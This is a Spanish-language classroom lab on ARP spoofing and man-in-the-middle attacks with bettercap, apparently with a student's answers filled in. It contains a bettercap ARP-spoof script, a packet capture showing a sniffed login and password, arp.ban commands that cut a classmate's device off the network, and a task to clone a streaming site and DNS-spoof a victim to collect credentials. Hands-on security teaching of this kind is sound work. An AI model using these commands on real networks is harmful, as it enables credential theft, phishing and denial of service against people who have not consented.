

PROTOCOLO ARP Y ATAQUES MAN IN THE MIDDLE PRÁCTICA DE CLASE

Los objetivos de esta práctica de clase son los siguientes:

I. USO DE BETTERCAP COMO FRAMEWORK PARA REALIZAR ATAQUES MAN IN THE MIDDLE

1. Realizar ataques man in the middle basados en ARP spoofing mediante bettercap
2. Espiar conversaciones con bettercap
3. Ataques DNS spoofing

ACTIVIDADES

I. USO DE BETTERCAP COMO FRAMEWORK PARA REALIZAR ATAQUES MAN IN THE MIDDLE

Vamos a repetir el ataque realizado anteriormente con Arpspoof pero ahora realizando el ataque completo con Bettercap. Usaremos el sniffer del Bettercap donde veremos las credenciales usadas en el acceso al servidor FTP <ftp://ftp.ncbi.nlm.nih.gov/>.

Rellena los siguientes puntos:

1. Vamos a arrancar el bettercap con un script de inicio, tal y como se ha explicado en clase. Para ello usaremos la orden **sudo nano spoof_inicio.cap** y el script



```
GNU nano 5.3 spoof_inicio.cap
net.probe on
set arp.spoof.full duplex true
set arp.spoof.targets 192.168.1.74
arp.spoof on
#net.sniff on

Capturar
Añadir esta filtro: [ ] Todos los paquetes recibidos

Emparejar:
any
macaddr
hostname
```

NOTA: En el script el sniffer no debe estar activado

2. Accede a la cache ARP del equipo host y demuestra que este ataque se está produciendo. Para ello, haz un pantallazo de dicha caché ARP del host y de la salida de ifconfig de Ubuntu (o Kali) para ver que la MAC del router en dicha caché ARP ha sido cambiada.

```

192.168.56.255      ff-ff-ff-ff-ff-ff  estático
224.0.0.2          01-00-5e-00-00-02  estático
224.0.0.22         01-00-5e-00-00-16  estático
224.0.0.251        01-00-5e-00-00-fb  estático
224.0.0.252        01-00-5e-00-00-fc  estático
239.255.255.250    01-00-5e-7f-ff-fa  estático

Interfaz: 192.168.43.222 --- 0x12
Dirección de Internet  Dirección física  Tipo
192.168.43.1          00-00-27-c4-02-0a  dinámico
192.168.43.28         00-00-27-c4-02-0a  dinámico
192.168.43.255        ff-ff-ff-ff-ff-ff  estático
224.0.0.2             01-00-5e-00-00-02  estático
224.0.0.22            01-00-5e-00-00-16  estático
224.0.0.251           01-00-5e-00-00-fb  estático
224.0.0.252           01-00-5e-00-00-fc  estático
239.255.255.250       01-00-5e-7f-ff-fa  estático
255.255.255.255       ff-ff-ff-ff-ff-ff  estático

Interfaz: 192.168.234.97 --- 0x13
Dirección de Internet  Dirección física  Tipo
192.168.234.111        ff-ff-ff-ff-ff-ff  estático
224.0.0.2              01-00-5e-00-00-02  estático
224.0.0.22             01-00-5e-00-00-16  estático
224.0.0.251            01-00-5e-00-00-fb  estático
224.0.0.252            01-00-5e-00-00-fc  estático
239.255.255.250        01-00-5e-7f-ff-fa  estático
255.255.255.255        ff-ff-ff-ff-ff-ff  estático

```

```

(192.168.43.160) at <incomplete> on eth0
(192.168.43.105) at <incomplete> on eth0
(192.168.43.86) at <incomplete> on eth0
(192.168.43.31) at <incomplete> on eth0
(192.168.43.196) at <incomplete> on eth0
(192.168.43.141) at <incomplete> on eth0
(192.168.43.74) at <incomplete> on eth0
(192.168.43.51) at <incomplete> on eth0
(192.168.43.248) at <incomplete> on eth0
(192.168.43.161) at <incomplete> on eth0
(192.168.43.110) at <incomplete> on eth0
(192.168.43.87) at <incomplete> on eth0
(192.168.43.197) at <incomplete> on eth0
(192.168.43.130) at <incomplete> on eth0
(192.168.43.75) at <incomplete> on eth0
(192.168.43.48) at <incomplete> on eth0
(192.168.43.249) at <incomplete> on eth0
(192.168.43.166) at <incomplete> on eth0
(192.168.43.111) at <incomplete> on eth0
(192.168.43.84) at <incomplete> on eth0
(192.168.43.29) at <incomplete> on eth0
(192.168.43.218) at <incomplete> on eth0
(192.168.43.131) at <incomplete> on eth0
(192.168.43.72) at <incomplete> on eth0
(192.168.43.49) at <incomplete> on eth0
(192.168.43.254) at <incomplete> on eth0
(192.168.43.167) at <incomplete> on eth0
(192.168.43.108) at <incomplete> on eth0

```

1. Captura la conversación con el sniffer de bettercap habiendo realizado antes el ataque man in the middle. Contesta a las siguientes preguntas:
 - a. Para acceder a un servidor FTP necesitamos hacer login con un usuario y una contraseña. Captura el usuario y la contraseña con la que se ha hecho login en este servidor. Notad que no hemos elegido nosotros el usuario y la contraseña para acceder como es habitual, pero sabemos que es necesario acceder con uno.

The screenshot shows a Wireshark capture on interface eth0. The packet list contains several HTTP GET requests. The selected packet (No. 1009) is an HTTP POST request. The packet details pane shows the 'Hypertext Transfer Protocol' section expanded, revealing 'HTML Form URL Encoded' data with 'Form item: "UserName" = "buenaass"' and 'Form item: "Password" = "ffffff"'. The packet bytes pane at the bottom shows the raw data in hexadecimal and ASCII.

No.	Time	Source	Destination	Protocol	Length	Info
1009	9.914520041	192.168.43.222	193.110.250.6	HTTP	777	POST / HTTP/1.1 (application/x-www-form-urlencoded)
1111	10.240572965	192.168.43.222	193.110.250.6	HTTP	568	GET /Content/style.css HT
1115	10.241069472	192.168.43.222	193.110.250.6	HTTP	576	GET /Content/bootstrap.mi
1136	10.284151045	192.168.43.222	193.110.250.6	HTTP	562	GET /Scripts/jquery-1.4.4
1142	10.284781405	192.168.43.222	193.110.250.6	HTTP	564	GET /Scripts/jquery.valid
1144	10.285026015	192.168.43.222	193.110.250.6	HTTP	566	GET /Scripts/jquery.dataT
1146	10.285142943	192.168.43.222	193.110.250.6	HTTP	556	GET /Scripts/jquery-ui.js
1186	10.418455768	192.168.43.222	193.110.250.6	HTTP	576	GET /Scripts/jquery.valid

Frame 1009: 777 bytes on wire (6216 bits), 777 bytes captured (6216 bits) on interface eth0, id 0
 Ethernet II, Src: AzureWav_0a:32:29 (f0:03:8c:0a:32:29), Dst: PcsCompu_c4:02:0a (08:00:27:c4:02:0a)
 Internet Protocol Version 4, Src: 192.168.43.222, Dst: 193.110.250.6
 Transmission Control Protocol, Src Port: 52004, Dst Port: 80, Seq: 1, Ack: 1, Len: 723
 Hypertext Transfer Protocol
 HTML Form URL Encoded: application/x-www-form-urlencoded
 Form item: "UserName" = "buenaass"
 Form item: "Password" = "ffffff"

0000 08 00 27 c4 02 0a f0 03 8c 0a 32 29 08 00 45 00 ...E
 0010 02 fb f0 83 40 00 00 06 5f 7d c0 a8 2b de c1 6e ...@...}_+..n
 0020 fa 06 cb 24 00 50 ef 4a 81 43 73 bf fc ec 50 18 ...\$P-J.Cs..P.
 0030 02 03 a7 10 00 00 50 4f 53 54 20 2f 20 48 54 54P0 ST / HTT
 0040 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 6c 6f 67 P/1.1..H ost: log
 0050 69 6e 2e 70 65 74 72 6f 6c 77 65 62 2e 6e 65 74 in.petro lweb.net
 0060 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 ..Connec tion: ke
 0070 65 70 2d 61 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e ap-alive ..Conten
 0080 74 2d 4c 65 6e 67 74 68 3a 20 33 33 0d 0a 43 61 t-Length : 33..Ca
 0090 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 che-Cont rol: max

```
POST / HTTP/1.1
Host: login.petrolweb.net
Connection: keep-alive
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Referer: http://login.petrolweb.net/
Cookie: _ga=GA1.2.710717101.1605286373; _gid=GA1.2.2104515503.1606494277
Origin: http://login.petrolweb.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9,en;q=0.8

UserName=buenaas6Password=ffffff

192.168.43.0/24 > 192.168.43.28 * [18:06:00] [net.sniff.https] DESKTOP-V8AJS0F > https://f
onts.gstatic.com
192.168.43.0/24 > 192.168.43.28 * [18:06:00] [net.sniff.https] DESKTOP-V8AJS0F > https://f
onts.gstatic.com
192.168.43.0/24 > 192.168.43.28 * [18:06:00] [net.sniff.http.request] DESKTOP-V8AJS0F
login.petrolweb.net/Content/style.css
192.168.43.0/24 > 192.168.43.28 * [18:06:00] [net.sniff.http.request] DESKTOP-V8AJS0F
login.petrolweb.net/Content/style.css
192.168.43.0/24 > 192.168.43.28 * [18:06:00] [net.sniff.http.request] DESKTOP-V8AJS0F
```

Fijaos que se puede enviar la salida del Bettercap a un fichero output.cap para luego estudiarlo con El Wireshark

II. USO DE BETTERCAP PARA REALIZAR ATAQUES DNS SPOOFING

Realizar un ataque DNS spoofing a un cliente. Para ello, se pide:

- Clonar una web de un servicio de streaming como por ejemplo Netflix, HBO o Amazon (probar alguna herramienta que haga esto de forma automática)



- b. Realizar el ataque DNS spoofing a la víctima para redirigirlo a mi equipo y que se conecte a él.
- c. Capturar las credenciales enviadas a este sitio web falso.

III OTROS ATAQUES CON BETTERCAP

2. Realizar un escaneo de la red y localiza el equipo de tu compañero de grupo (u otro equipo conectado a la misma red WIFI). Mediante el bettercap haz que este equipo no sea capaz de conectarse al router WIFI, y por lo tanto salir a Internet.

```

192.168.43.108 > 192.168.43.28 * set arp.spoof.targets 192.168.43.108
192.168.43.108 > 192.168.43.28 * arp.ban on
192.168.43.108 > 192.168.43.28 * [13:14:39] [sys.log] [ ] [ ] running in ban mode, fe
rewarding not enabled!
192.168.43.108 > 192.168.43.28 * [13:14:39] [sys.log] [err] module arp.spoof is already runni
ng
192.168.43.108 > 192.168.43.28 * [13:14:52] [endpoint.lost] endpoint 192.168.43.108 (Galaxy-A
71) 56:118f:25:31:45 lost.
  
```




INSTRUCCIONES

- Entrega:
 - Un archivo **PDF** a partir de este documento de Word con las respuestas (las que están señaladas en rojo) y los pantallazos pedidos.
- Los ejercicios **SOLO** podrán realizarse de forma individual.

- **La fecha límite de entrega será el jueves 3 de diciembre a las 23 horas.**
- Debe entregarse en el apartado correspondiente en el campus virtual.